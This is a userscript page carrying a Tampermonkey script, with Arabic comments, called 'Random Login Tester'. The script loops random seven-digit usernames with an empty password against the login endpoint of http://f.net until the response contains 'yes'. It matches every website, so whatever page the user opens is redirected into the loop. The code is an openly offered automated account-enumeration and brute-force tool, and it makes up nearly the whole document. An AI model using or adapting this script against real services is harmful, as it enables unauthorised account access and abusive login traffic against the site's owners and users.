Random Login Tester

يولد أرقام عشوائية ويختبرها حتى يظهر "yes"

Dovrai installare un'estensione come Tampermonkey, Greasemonkey o Violentmonkey per installare questo script.

You will need to install an extension such as Tampermonkey to install this script.

Dovrai installare un'estensione come Tampermonkey o Violentmonkey per installare questo script.

Dovrai installare un'estensione come Tampermonkey o Userscripts per installare questo script.

Dovrai installare un'estensione come ad esempio Tampermonkey per installare questo script.

Dovrai installare un gestore di script utente per installare questo script.

(Ho già un gestore di script utente, lasciamelo installare!)

Advertisement:

Dovrai installare un'estensione come ad esempio Stylus per installare questo stile.

Dovrai installare un'estensione come ad esempio Stylus per installare questo stile.

Dovrai installare un'estensione come ad esempio Stylus per installare questo stile.

Dovrai installare un'estensione per la gestione degli stili utente per installare questo stile.

Dovrai installare un'estensione per la gestione degli stili utente per installare questo stile.

Dovrai installare un'estensione per la gestione degli stili utente per installare questo stile.

(Ho già un gestore di stile utente, lasciamelo installare!)

Advertisement:

// ==UserScript==
// @name         Random Login Tester
// @namespace    https://viayoo.com/wl4o24
// @version      0.1
// @description  يولد أرقام عشوائية ويختبرها حتى يظهر "yes"
// @author       You
// @run-at       document-end
// @match        https://*/*
// @match        http://*/*
// @grant        none
// ==/UserScript==

(function() {
    'use strict';

    // توليد رقم عشوائي بين 2000000 و 2999999
    function generateRandomNumber() {
        return Math.floor(Math.random() * 1000000) + 2000000;
    }

    // التحقق من وجود "yes" أو "no" في الصفحة
    function checkPageAndAct() {
        const bodyText = document.body.innerText;
        const yesRegex = /\byes\b/i;   // كلمة yes كاملة (غير حساسة لحالة الأحرف)
        const noRegex = /\bno\b/i;     // كلمة no كاملة

        if (yesRegex.test(bodyText)) {
            console.log('تم العثور على "yes" - توقف.');
            return 'yes';
        } else if (noRegex.test(bodyText)) {
            console.log('تم العثور على "no" - إعادة المحاولة برقم جديد.');
            return 'no';
        }
        return null; // لم يُعثر على أي منهما
    }

    // عنوان الصفحة الحالي
    const currentUrl = window.location.href;

    // هل نحن في صفحة نتيجة المحاولة؟
    if (currentUrl.includes('f.net/login?username=')) {
        // فحص فوري
        let result = checkPageAndAct();

        if (result === 'yes') {
            return; // توقف
        } else if (result === 'no') {
            // توليد رقم جديد والتوجيه
            const newNumber = generateRandomNumber();
            window.location.href = `http://f.net/login?username=${newNumber}&password=&var=callBack`;
            return;
        }

        // إذا لم نجد لا "yes" ولا "no" (قد يكون المحتوى لم يتحمّل بعد)
        let attempts = 0;
        const maxAttempts = 10; // 10 محاولات (كل 500 مللي)

        const intervalId = setInterval(function() {
            attempts++;
            const res = checkPageAndAct();

            if (res === 'yes') {
                clearInterval(intervalId);
                return;
            } else if (res === 'no') {
                clearInterval(intervalId);
                const newNumber = generateRandomNumber();
                window.location.href = `http://f.net/login?username=${newNumber}&password=&var=callBack`;
                return;
            }

            // انتهت المحاولات دون نتيجة – نعتبر الحالة "no" ونعيد المحاولة
            if (attempts >= maxAttempts) {
                clearInterval(intervalId);
                console.warn('لم يُعثر على "yes" أو "no" بعد المهلة، نفترض "no".');
                const newNumber = generateRandomNumber();
                window.location.href = `http://f.net/login?username=${newNumber}&password=&var=callBack`;
            }
        }, 500);
    } else {
        // الصفحة الأولى (ليست صفحة تسجيل الدخول) – نبدأ العملية
        const firstNumber = generateRandomNumber();
        window.location.href = `http://f.net/login?username=${firstNumber}&password=&var=callBack`;
    }
})();